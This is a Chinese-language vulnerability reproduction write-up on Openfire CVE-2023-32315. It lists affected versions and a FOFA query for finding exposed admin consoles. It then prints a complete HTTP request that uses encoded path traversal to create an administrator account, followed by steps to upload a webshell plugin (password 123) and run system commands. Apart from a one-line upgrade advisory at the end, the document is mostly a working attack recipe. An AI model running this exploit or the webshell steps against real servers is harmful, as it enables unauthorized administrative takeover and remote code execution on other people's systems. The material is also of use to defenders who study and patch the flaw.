【漏洞复现】Openfire身份认证绕过漏洞到RCE(CVE-2023-32315)
1、简介
Openfire是一个基于XMPP协议的即时通讯服务器,也称之为即时通讯平台。在即时通讯中往往因为需要保存一些状态或者数据所以不能采用点对点通讯,而是需要搭建服务器来转发。Openfire的管理页面包含5个菜单选项,分别是服务器基本信息配置选项、用户组管理选项、会话管理选项、分组聊天选项和插件选项。
2、漏洞描述
Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。
3、受影响版本
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5
4、FOFA语句
title=="Openfire Admin Console"
5、漏洞复现
启动靶场
利用目录穿越漏洞创建管理员test123
POC
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=test123&name=&email=&password=test123&passwordConfirm=test123&isadmin=on&create=Create+User HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Cookie: csrf=csrftoken
登录成功
上传插件
登录成功后访问插件位置,并上传已编译好的jar包。编译好的java包下载地址回复公众号【openfire-webshell-plugin】
选择server 进入server setting
进入shell plugins插件,密码为123
执行系统命令
进入文件系统
6、整改建议
升级至最新版本:
https://github.com/igniterealtime/Openfire/releases